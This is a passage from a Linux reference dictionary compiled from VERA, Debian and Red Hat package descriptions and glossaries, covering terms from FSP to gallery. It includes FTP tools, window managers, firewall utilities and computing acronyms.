FSP

A file transfer system similar to FTP, distinguished by the ability for servers to run on any port without requiring special privledges, and the lower system load from FSP servers than from FTP. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fsp

client utilities for File Service Protocol (FSP) FSP is an alternative to anonymous FTP. In the words of the developers, `FSP is what anonymous FTP *should* be'. FSP is a protocol, a bit like FTP, for moving files around. It's designed for anonymous archives, and has protection against server and network overloading. It doesn't use connections, so it can survive things falling over. It's also designed to prevent network congestion, so it can be very nice for large transfers over slow links. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSP

File Slurping Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fspanel

A minimalist panel for X It's a panel for Linux that lists all your windows, but the difference is that it's tiny. The binary is about 10k and it takes barely any memory. It works under any gnome compliant window manager (eg. E, Sawfish, WindowMaker, IceWM, Oroborus) and supports KDE's mini icons (the KWM_WIN_ICON atom). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fspd

A File Service Protocol (FSP) server FSP is an alternative to anonymous FTP that is very resource friendly. The server does not fork so it can handle far more concurrent users. Also, the protocol is designed with a transmisson failure backoff, so it's transfers do not interfere with interactive network applications. If you don't provide anonymous FTP access, you probably don't want this software either. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSRTL

File System RunTime Library From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSS

Fast System Switch (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSSTND

Often the group, which creates the Linux File System Structure document, or the document itself, is referred to as the 'FSSTND'. This is short for "file system standard". This document has helped to standardize the layout of file systems on Linux systems everywhere. Since the original release of the standard, most distributors have adopted it in whole or in part, much to the benefit of all Linux users.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSSUTF

FileSystem Safe UCS Transformation Format (UCS, Unicode), "FSS-UTF" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FST

Flat Square Technology (Hitachi) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Film SuperTwisted Nematic (LCD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fstobdf

generate BDF font from X font server From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSTP

Foiled Shielded Twisted Pair [cable] (STP, TP), "F/STP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSU

Free Software Union (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fsviewer

A NeXT FileViewer lookalike for Window Maker. Features include Browser mode, DND and file operations. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FT1

Fractional T1 (ISDN, T1, DS-0, DS-1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTA

Floptical Technology Association (3M u.a.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTAM

File Transfer, Access and Management (GOSIP, ISO 8571/8572) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftape

Bleeding Edge floppy tape driver (source) A substitution for the stock ftape driver in the kernel. If you want to use a floppy tape drive with a 2.0.x kernel you should definitely use these sources instead of the stock ftape driver in the kernel. This driver detects and supports many more tape drives than the 2.0.x driver which is ancient. Compared to the 2.2.x stock ftape driver the difference is reduced to support for the Iomega Ditto Max, parallel port floppy tapes (Colorado Trakker, Iomega, Exabyte and Seagate parallel port drives) and multiple tape drives in one box. Supported drives according to upstream README: "Currently, the driver supports many QIC-40/QIC-80/QIC-3010/QIC-3020 tape drives that conform to the respective QIC-* development standards, as well as the Iomega Ditto 2GB and Max drives. Some parallel port tape drives are also supported, too. These are the Colorado Trakker and several kinds of parallel port drives that use the Micro Solutions' "Backpack" protocol, i.e. the Iomega Ditto parallel port drives, and some parallel port floppy tape drives made by Exabyte and Seagate." Please note that the kernel sources must be installed to compile these modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTC

Federal Trade Commission (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fte

Text editor for programmers – base package Package contains files necessary to build configuration file and some elementary documentation. There is no editor in this package. Please select some from the list of suggested binary packages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTE

[DCOM] For The Enterprise (DCOM, SAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftjam

A replacement for make This is the version of Jam/MR with additional features, which is maintained by the FreeType project. Current version (2.3.5) is claimed to be backward compatible with the original Jam/MR from Perforce (in package `jam'). A powerful and highly customizable utility to

build programs and other things, that can run on Un*x, Nt, VMS, OS/2 and Macintosh MPW, using portable Jamfiles. It can build large projects spread across many directories in one pass. It takes some time to fully apprehend, as there's no tutorial available yet, especially when one's already accustomed to make(1), but there's no comparison in power when comparing these 2 tools. Standard rules: – can automatically extract header dependencies for C/C++ (you can customize for you own language) – provide for automatic "clean", "install", "uninstall" rules, so that an automake–like tool is not needed From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTN

Fido Technology Network (FidoNet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTNA

File Transfer Access and Management From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftnchek

A semantic checker for Fortran 77 programs. ftnchek (short for Fortran checker) is a tool designed to detect certain errors in a Fortran program that a compiler usually does not, thus assisting users in the debugging of their Fortran programs. Unlike syntax errors, semantic errors are legal in the Fortran language but are wasteful or may cause incorrect operation. For example, variables which are never used may indicate some omission in the program; uninitialized variables contain garbage which may cause incorrect results to be calculated; and variables which are not declared may not have the intended type. ftnchek can also be used to provide call–trees, cross–reference of subprogram calls and COMMON blocks usage, source listings, symbol tables and other things you might find useful when debugging a Fortran program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTNEA

File Transfer Network Architecure (SNI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTOS

File Transfer Open Systems From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTOS

File Transfer OSI Support From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTOSX

FTOSX Desktop 2003, and other versions like WebServer and Professional for Intel (IA–32) as well other platforms are a new generation Operating System, because we made all the necessary design, in back–end and front–end to offers something new and innovative. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTP

File Transfer Protocol (Internet, RFC 959) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTP

Foiled Twisted Pair [cable] (UTP, TP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp

The FTP client. ftp is the user interface to the ARPANET standard File Transfer Protocol. The program allows a user to transfer files to and from a remote network site. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp

The ftp package provides the standard UNIX command–line FTP (File Transfer Protocol) client. FTP is a widely used protocol for transferring files over the Internet and for archiving files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTP (File Transfer Protocol)

An Internet standard for the exchange of files. FTP (uppercase letters) is a specific set of rules that comprise a file transfer protocol. To use FTP, you start an FTP client, an application program that enables you to contact another computer on the Internet and exchange files with it. To gain access to the other computer, you normally must supply a login name and password, after which you are given access to the computer's file directory system, and you can send (upload) and receive (download) files. An exception is anonymous FTP, which makes a file archive publicly accessible to any Internet user who possesses an FTP client. In response to the authentication prompts, you enter anonymous rather than a login name, and as a courtesy supply your electronic mail address as a password. Many web browsers can function as FTP clients to download files from anonymous FTP file archives. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTP (File Transfer Protocol)

is a client/server protocol that allows a user to transfer files to and from a remote network site. It works with TCP and is most commonly used on the Internet, although it can also be used on a LAN. An FTP site is a computer that is running FTP server software (also known as an FTP daemon, or `ftpd`). A public ftp site can usually be accessed by anybody by logging in as anonymous or ftp. There are many excellent public ftp sites that make repositories of free Unix software available. By learning how to use FTP, you give yourself access to an indispensable resource. Private FTP sites require a user name or password. If you have a shell account with your ISP, you may be able to access your files via FTP (contact your system administrator to check on this). An FTP client is the userland application that provides access to FTP servers. There are many FTP clients available. Some are graphical, and some are text-based. FTP was first developed by the University of California, Berkeley for inclusion in 4.2BSD (Berkeley Unix). The RFC (Request for Comments) is available at <ftp://nic.merit.edu/documents/rfc/rfc0959.txt>. From FTP mini-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTP

FTP is a way to login to another Internet site for the purposes of retrieving and/or sending files. There are many Internet sites that have established publicly accessible repositories of material that can be obtained using FTP, by logging in using the account name "anonymous", thus these sites are called "anonymous ftp servers". FTP was invented and in wide use long before the advent of the World Wide Web and originally was always used from a text-only interface. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp-client-krb5

The ftp package provides the standard UNIX command-line FTP client. FTP is the file transfer protocol, which is a widely used Internet protocol for transferring files and for archiving files. If your system is on a network, you should install ftp in order to do file transfers. This version supports kerberos authentication. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp-proxy

SuSE Proxy-Suite FTP-Proxy SuSE Proxy Suite is a set of programs to enhance firewall security. The first (and currently only) component released is the FTP-Proxy:

- o Securely relays FTP connections between clients and servers
- o Can switch connections from active to passive and vice versa
- o Utilizes port ranges for both control and data connections
- o Provides extensive auditing (via syslog or rotating log files)
- o Can separate user related from system triggered audit events
- o Provides command restriction based on logged in user name
- o Allows command argument checking with regular expressions
- o Is able to retrieve configuration data from an LDAP directory
- o Has been thoroughly tested against buffer overflow attacks
- o Fully conforms to RFC 959 and 1123 (the basic FTP RFCs)
- o Planned to support RFC 1579 ("Firewall Friendly FTP")
- o Planned to support RFC 2428 (IPv6 Extensions for FTP)
- o Based on GNU AutoConf, supposed to run on many UNIX systems

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp-ssl

The FTP client with SSL encryption support. ftp is the user interface to the ARPANET standard File Transfer Protocol. The program allows a user to transfer files to and from a remote network site. ftp-ssl replaces normal ftp using SSL authentication and encryption. It interoperates with normal ftpd. It checks if the other side is also talking SSL, if not it falls back to normal ftp protocol. Advantages over normal ftp(d): Your passwords and the data you send will not go in cleartext over the line. Nobody can get it with tcpdump or similar tools. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp-upload

put files with FTP from a script ftp-upload transfers local files to another machine using FTP. It's meant to be used by scripts and such rather than interactively. There's no user interface, the program is controlled strictly via the command line. It is disciplined with its exit status. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftp-utils

ftp support for shell scripts ftp-utils is a small collection of shell tools for the FTP protocol. Using it, you can write shell scripts which work equally well for both local file systems and remote file systems accessed via FTP. Included in the distribution is a simple shell script to build or maintain an FTP-mirror (pushing from origin to mirror). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTPD

File Transfer Protocol DAEMON (FTP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpd

FTP server This is the netkit ftp server. It is recommended for you to use one of its alternatives, such as wu-ftpd or proftpd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpd-ssl

FTP server with SSL encryption support. This is the netkit ftp server with encryption support ftpd-ssl replaces normal ftpd using SSL authentication and encryption. It interoperates with normal ftp. It checks if the other side is also talking SSL, if not it falls back to normal ftp protocol. Advantages over normal ftp(d): Your passwords and the data you send will not go in cleartext over the line. Nobody can get it with tcpdump or similar tools. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpfs-src

The virtual filesystem for transparent FTP access FTP File System is a Linux kernel module, enhancing the VFS with FTP volume mounting capabilities. That is, you can "mount" FTP shared directories in your very personal file system and take advantage of local files operations. This package contains prepared source which you can use with make-kpkg to build a modules package for your kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpfs-utils

Mount utils for FTP filesystem This package contains the ftpmount utility, needed to mount the FTP filesystem. There is also a auto.ftp helper application, which allows to use FTP resources with autofsd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpgrab

file mirroring utility ftpgrab is a utility for maintaining FTP mirrors. In fact not unlike the "Mirror" perl program. However ftpgrab is oriented towards the smaller site which doesn't have the resources to mirror entire version trees of software. The primary "plus point" of ftpgrab is that it can base download decisions by parsing version numbers out of filenames. For example, ftpgrab will recognize that the file "linux-2.2.2.tar.gz" is newer than "linux-2.2.1.tar.gz" based on the version string. It will then download the new version and delete the old one when it is done, thus saving you mirroring 10 kernel versions all at >10Mb each. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftplib3

Library of callable ftp routines Ftplib presents a convenient C interface for the standard File Transfer Protocol (FTP). It makes it easier for programmers to use file transfer in their programs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftpmirror

Mirroring directory hierarchy with FTP ftpmirror is an utility to copy directory hierarchy (this is called ``mirror'') with FTP. A similar perl script exists, whose name is `mirror', but ftpmirror requires less memory than mirror. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ftptwatch

Notifies you of changes on remote ftp servers This package should be installed as a cron job (for interested users) which every week makes a ftp connection to a list of sites and studies a set of files or directories and report any changes it finds by email. Every user can have his own set of sites and directories to watch. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTR

Full Text Retrieval From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTS

Fidonet Technical Standard From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTS2000

Federal Telecommunications Services – 2000 (USA), "FTS-2000" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTSC

Federal Telecommunications Standards Committee (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTSC

Fidonet Technical Standard Conference (conference) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fttools

FreeType font utilities. mkttfdir utility generates font.dir file for TrueType font. ftinfo utility reports TrueType font info. mkttfdir only supports iso8859-1 and JIS encodings. For other font encoding try the ttmkfdir package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FTZ

FernmeldeTechnische Zentralamt / Zulassung (Telekom, ZZF, predecessor) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flow Update Acknowledge [message] (LFAP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUB

Freie Universitaet Berlin (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUBAB

Fouled / F***** Up Beyond All Belief (slang, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUBAR

Fouled / F***** Up Beyond All Recognition / Repair (slang, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUD

Fear, Uncertainty, & Doubt (slang, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fujisplay

Interface for Fuji digital cameras fujisplay is a command-line program to control and manipulate settings Fuji digital cameras, such as MX-500 or MX-700. You are able to download, upload and delete pictures from the memory card. It's also possible to trigger the shoot button, get a preview image, set the settings of the flash and set the Camera ID. The preview images are in a special format which can be converted to ppm using yycc2ppm which is also included in the fujisplay package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Full Duplex

Process that allows both parties to Receive (listen) and transmit (talk) at the same time. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Full Motion Video

Signal which allows transmission of complete action taking place at the origination site. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

full pathname

the name of a directory or file in relation to the root (/) directory. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FullPliant

Uses Pliant as an whole operating system on top of a Linux kernel. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fully qualified domain name (FQDN)

A name that contains a host, second level domain, and a top level domain. For example, ftp.redhat.com is an FQDN. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUN

Flow Update Notification [message] (LFAP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FUNI

Frame User Network Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

funnelweb

A literate-programming tool Literate-programming allows the programmer to write a program's code and the code's documentation, with equal importance accorded to both. This helps to produce well-documented code. Unlike other literate-programming tools, funnelweb is not derived from Knuth's cweb. It claims the following technical features: * Can be used with any programming language. * Runs on most platforms. * Mature and essentially bug-free (released 1992). * Simple; specifically designed to minimize errors. * High speed; doesn't stretch the development cycle. * Generates documentation in HTML and TeX forms. This package does not include the reference, tutorial, and developer manuals. See package funnelweb-doc for these. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

funny-manpages

more funny manpages A set of miscellaneous humorous manpages (don't take them too seriously!). Includes, amongst others, rtfm (1). Warning! Some of these manpages might be treated offensive. You've been warned. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

funzip

filter for extracting from a ZIP archive in a pipe From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fuser

identify processes using files or sockets From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fuzz

stress-test programs by giving them random input The fuzz generator is designed to attack certain kinds of software and expose one particular kind of bug common in software. This is the situation where the programmer implicitly makes some assumptions about the data stream that the program will be parsing. If the data stream is substantially different then the program might not be able to deal with it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fuzzy hashing

a hashing scheme which can handle range based lookups and multiple keys. It was born from debugging problems arising from from the removal of the old AVL tree mechanism for finding the virtual memory area (vma) associated with a page fault. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fv

a tool for viewing and editing FITS format files Fv provides a graphical user interface to data stored in FITS (Flexible Image Transport System) files. Local files can be created, viewed and edited, files on the internet can be opened read-only through the http and ftp protocols. Through the POWplot program, FITS data can be visualized in a large variety of styles. An interface to the SkyView online database allows for searching, downloading, and plotting of images and object lists for a region of the sky. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fvwm

F(?) Virtual Window Manager, version 2.4 FVWM 2 is an ICCCM-1.1 compliant window manager requiring relatively little memory and providing a three-dimensional appearance and a virtual desktop, complete with colour icons. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fvwm1

Old version of the F(?) Virtual Window Manager This package contains the old version of the FVWM windows manager. It is no longer supported upstream, having been replaced by FVWM 2, and so no non-Debian-related bugs will be fixed unless someone else provides a patch. You probably only want to use this package instead of the fvwm package if you know what you are doing or have very specific requirements. FVWM is a fairly small window manager which provides a three-dimensional appearance and a virtual desktop, complete with colour icons. You will need to install the fvwm-common package if you want the xpmroot command and some icons, along with manual pages for the modules. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fvwm2

F(?) Virtual Window Manager, version 2.xx. The FVWM 2,xx is now packaged as fvwm since version 2.2 was officially released as a stable package. This Debian package is provided to allow smooth upgrades from the old fvwm2 package to the new fvwm package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fvwm95

Win95 lookalike Window Manager for X fvwm95 is a Window Manager for the X Window System, configured to look like a win95 user interface. Fvwm95 is no longer maintained upstream; it's main continued advantage is that it has low resource requirements compared to some of the other window managers that attempt to look somewhat like windows 95. (TM) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwanalog

iptables log-file report generator (using analog) fwalog is a shell script that parses and summarizes firewall logfiles. It currently understands logs from ipchains (Linux 2.2) and iptables (Linux 2.4). It uses analog to generate the log-files, which includes daily statistics and such, and is both formatted in

html and text (for online perusing, and a daily email, for instance). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwbuilder

Firewall administration tool GUI Firewall Builder consists of an object-oriented GUI and a set of policy compilers for various firewall platforms. In Firewall Builder, firewall policy is a set of rules, each rule consists of abstract objects which represent real network objects and services (hosts, routers, firewalls, networks, protocols). Firewall Builder helps the user maintain a database of objects and allows policy editing using simple drag-and-drop operations. This is the GUI part of fwbuilder From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwbuilder-iptables

Linux iptables policy compiler for Firewall Builder Firewall Builder consists of an object-oriented GUI and a set of policy compilers for various firewall platforms. In Firewall Builder, firewall policy is a set of rules, each rule consists of abstract objects which represent real network objects and services (hosts, routers, firewalls, networks, protocols). Firewall Builder helps the user maintain a database of objects and allows policy editing using simple drag-and-drop operations. This package contains the fwbuilder policy compiler for the Linux 2.4 iptables target. It creates a shell script to be run during the system bootup process. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwctl

configure ipchains firewall using higher level abstraction This Perl Module and the script is used to generate ipchains rules from config files which are easy to use. It also handles accounting. The rules will be installed from a init script and accounting data is dumped daily. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwfb

A literate-programming tool for C/C++/Fortran/Ratfor Literate-programming allows the programmer to write a program's code and its code's documentation, with equal importance accorded to both. This helps producing a well-documented code. FWFB has grown out of Knuth and Levy's CWEB; it is far more configurable and customizable than the original, uses LaTeX to typeset documented code, provides a very powerful macro processor... Ratfor programmers may appreciate the builtin Ratfor-to-Fortran translator if they don't have the right compiler. Other languages than those cited may be used, but without code pretty-printing. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FWH

FirmWare Hub (BIOS, Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FWIW

For What It's Worth (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fwlogwatch

Firewall log analyzer fwlogwatch produces ipchains, netfilter/iptables, ipfilter, Cisco IOS and Cisco PIX log summary reports in text and HTML form and has a lot of options to find and display relevant patterns in connection attempts. With the data found it can also generate customizable incident reports from a template and send them to abuse contacts at offending sites or CERT coordination centers. Finally, it can also run as daemon and report anomalies or start countermeasures. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FXU

FiXed point Unit (POWER, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FYI

For Your Information (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

G

g++

The GNU C++ compiler. This is the GNU C++ compiler, a fairly portable optimizing compiler for C++. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

g-wrap

g-wrap is a tool for creating Scheme interfaces to C libraries. At the moment it is most heavily focused on providing access to C libraries from guile, but it also supports RScheme. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

g3data

extract data from scanned graphs g3data is used for extracting data from graphs. For example, graphs are typically published in scientific journals without tables of the actual data; g3data makes the process of extracting these data easy. Home page:

<http://www.physics.helsinki.fi/~frantz/software/g3data.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

g5

gtk-based 5-in-a-row game A simple game vs. an AI player. Still beta, but the core game is there; authors are looking for contributions of graphics or sound. This game is a Debian exclusive (at least for now). :-) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

g77

The GNU Fortran 77 compiler. This is the GNU g77 Fortran compiler, which compiles Fortran 77 on platforms supported by the gcc compiler. It uses the gcc backend to generate optimized code. This is a dependency package providing the default GNU Fortran 77 compiler for Debian GNU/Linux systems (version 2.95.4 for architecture i386). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gabber

A GNOME Jabber client. Gabber is a Free and Open Source GNOME client for an instant messaging system called Jabber. Jabber is a Free and Open Source distributed instant messaging system. It does not rely on a single server, and the protocol is well documented. Jabber allows communication with many different instant messaging systems, including ICQ and AIM. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gaby

Small Gnome personal databases manager Gaby is a _small_ personal databases manager for Linux using GTK+ and Gnome for its GUI. It was designed to provide straight-forward access to databases a 'normal' user would like (addresses, books, ...) while keeping the ability to easily create databases for other needs. On a technical side it was designed with extensibility in mind and thus use relies a lot on plug-ins. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAC

Government Advisory Council (ICANN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gacc

Personnal accounts manager gAcc is a program intended to manage one's bank accounts. It provides basic functions such as : - having multiple accounts in a wallet file - user readable configuration file & wallets files - add / remove any account from the file (happily ;-)) - add / remove any operation from any account (idem :)) - modify the category list - point or un-point operations - display intermediate balance for each operation - re-edit operations - re-edit accounts - internationalisation (not yet finished. volunteers ?) and locale formats - etc... Some other functions need to be implemented for better use. See the TODO file to know what they are. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gaddr

gaddr is a nice simple little address book written using GTK+. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gadfly

SQL database and parser generator in Python Gadfly is a relational database management system which uses a large subset of very standard SQL as its query language and Python modules and optional Python/C extension modules as its underlying engine. Gadfly stores the active database in memory, with recovery logging to a file system. It supports an optional TCP/IP based client server mode and log based failure recovery for system or software failures (but not for disk failures). kwParser, included as part of the Gadfly package, is a parser generator for Python. It transforms an abstract specification of a language grammar (for example the CORBA Interface Definition Language) together with "interpretation functions" that define the semantics of the language into a compiler or translator or interpreter. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GADK

Global Application Developers Kit (Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAE

Generic Application Environment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAIA

GUI Application Interoperability Architecture (OSF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gail

GAIL implements the abstract interfaces found in ATK for GTK+ and GNOME libraries, enabling accessibility technologies such as at-spi to access those GUIs. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gail

Gail is the GNOME Accessibility Implementation Library From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gaim

Gaim allows you to talk to anyone using a variety of messaging protocols, including AIM (Oscar and TOC), ICQ, IRC, Yahoo!, MSN Messenger, Jabber, Gadu-Gadu, Napster, and Zephyr. These protocols are implemented using a modular, easy to use design. To use a protocol, just load the plugin for it. Gaim supports many common features of other clients, as well as many unique features, such as perl scripting and C plugins. Gaim is NOT affiliated with or endorsed by AOL. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gaim

GPL multi-protocol instant messenger client - Gtk+ version Gaim is a Gtk+ based instant messenger client that supports the TOC and OSCAR (and hence ICQ) AIM protocols, as well as providing plugins for the Gadu-gadu, IRC, Jabber, MSN Messenger, Napster, old ICQ, Yahoo! Messenger and Zephyr protocols. As the name suggests, it was originally designed for using AOL's Instant Messenger service (you can sign up at <http://www.aim.aol.com/>). Consequently it contains many of the same features as AOL's IM client, as well as incorporating many new features, such as the multiple protocol support. This version is compiled without GNOME support, making Gaim a stand-alone Gtk+ program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAIN

German Advanced Integrated Network (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAK

Governmental Accessed Keys (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAL

Generic Array celL / Logic From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gal

The GNOME Application Library (GAL) contains GNOME widgets and utility functions. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

galeon

Mozilla based web browser with GNOME look and feel Galeon is a fast Web Browser for the GNOME Desktop Environment. Galeon's use of Mozilla's Gecko rendering engine makes it more feature complete and standards compliant than most other browsers available. By using the GNOME and GTK libraries for the user interface, Galeon is usually faster than mozilla and the interface integrates well with the GNOME Desktop Environment. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gallery

